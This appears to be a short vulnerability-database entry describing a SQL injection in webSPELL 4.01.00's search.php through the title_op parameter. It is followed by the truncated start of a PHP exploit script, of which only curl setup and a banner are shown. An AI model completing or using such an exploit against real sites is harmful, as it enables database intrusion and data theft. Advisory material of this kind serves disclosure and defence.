SQL injection vulnerability in search.php in webSPELL 4.01.00 and previous versions allows remote malicious users to inject arbitrary SQL commands via the title_op parameter.
<?
error_reporting(E_ERROR);
function xss_init()
{
if (!extension_loaded('php_curl'))
{
if (!dl('curlso') and !dl('php_curlso') and !dl('php_curldll'))
die ("oo error - cannot load curl extension!");
}
}
function xss_header()
{
echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ...
Vulmon